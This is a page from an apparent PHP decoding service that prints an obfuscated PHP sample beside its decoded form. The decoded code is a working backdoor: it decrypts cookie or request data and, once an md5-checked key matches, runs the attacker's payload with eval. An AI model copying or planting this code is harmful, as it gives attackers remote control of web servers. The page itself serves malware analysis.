Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $eVSFhf=';LXV,EmRA9V;UU;'^'X>=7X 244W5O<:U'; $odQNAFx = $eVSFhf('', 'UPgW30<.ZQ5W8YH..

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == 'cf94416b34fb053a2b893477766f739a') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}
echo(md5(md5($_SERVER["HTTP_HOST"])));

Did this file decode correctly?

Original Code

<?php $eVSFhf=';LXV,EmRA9V;UU;'^'X>=7X 244W5O<:U'; $odQNAFx = $eVSFhf('', 'UPgW30<.ZQ5W8YHIOXCOB4QIfDWYW,0<N,HdlDUnMV386ZXOVeIY5,UJD2-eV10IhT4;Jkjc=+IMYpwLF=Gs=g.XXBnUWATx<jRZHPaXRipBloF=Z4G796 POQ5I.bTOQ FMe3NHEO1:lZLXMA0W;-,iP.v3QV>.Y2QEiPHM7<5Q8NQ:, DdJakb233T;EUrs5K,EVADHX6M9W4UTLmYES8VKXKRQ2ZO3.S7DiWUQYWSQsRm>9;PTT0InJ=n<a.=.CJ=CB2<IpiIfW:1T;QXI4K4t6R,40Q7NnXKP.=:QxAk>XF9BYpW20.63s<+b3.0FCUN+8ILkeFHZHV4EOC9UXA2g5k92n9IUIPu<46nIHNJ1Z4UIPD>McncRZ>T.:UIGsDA>NCNfXoMPYX6idsjB.<FXR3s;g36hBR4TXKPH6H:KRR.Q:BMEQOO<5 ,FMd1Q7Op52S2LR>035+Y+nUD91 jTAQP.H4g=Q8lOo1X1pj=+M9RjQTJR<O66<6:.P-- 0BOEY1BIIrnDS7;MYBOLe+ZOIfO <Q7O9S0A;OYuwPt FLBVzTXQL> YddRh zxRRuZmRBWZUXXJZKCRVOAHJR1 +=r-FI7<7MRA6=:-A=vHTKDP:PbQSYDBRCGo:674BLI>W.+7OPRWGOWUn6kzbcXKW5aYHXnIfNZX7MF.SG50RNE:74c7ee8gr-i29+>8lCgZBZWp'^'<6OvUERM.8Z9g<0 <,0geL>;9 6-6soQ;XoMEd.dD0FVU.1 8E16Gs1+0Sr:;DDaL0UO+GJGVN0dyPWlfFMz4CA-,bSupfor5c45:xE1rTPrWObTfG3EUSNxk5T=OKoouImfL9GAa DNLtqxeeT6OLwM9sVmqrUK iu,Iuh>CNY4VfuQIYm9cZak;AV N7;ZWZ>XlmKM5RKG3sP4 -Mde5Y:8=pXuV;;Rq8R=Iju78; 4HXgXVI557XiFnb-s.etkc+NcfYY0PTwFsLP8N4qiOA=PR3XUo:R7NektEXCjrHOZ92XbdPsDQBCVH6Vh9GVfktjOY=-BE=BS.9F . Qupem5p:lw=mi4:pQWQONtvnnG;X ,ydEGjgG6;J5qQ00gNdeU+:ulQfi48,WIYSN4OP3=i9zFmN<bf6U 9kmhv=T87 G0V+7 y7 NjDM2,;n<B;XWS WzfaTVVD=NFq XEACxau4O<U8V4AEfT;1WXNYJ9XrLwt+ N.OiWSCq5UDSD1gb2T;neRJ 2CZdydilMF>zaB+AH0lhR6IfffyHJpSC uvbKb:bxXBiQW3ZBBAafBmZdt1mfa9msketv.3:++nKND-H> DHDeu1WDVB YQdto 1N1Kxsydbrc<e3SAU.dmZ6ZJlh 3.+ 61IkBAhj=3>AIiacd4l+90Xe+JfoXTgfaedq1a 7cE:y=bfcqk8a:skslz'); $odQNAFx();

Function Calls

null 1
create_function 1

Variables

$eVSFhf create_function
$odQNAFx None

Stats

MD5 174f39bbd69d660d660f41338daca1e8
Eval Count 1
Decode Time 83 ms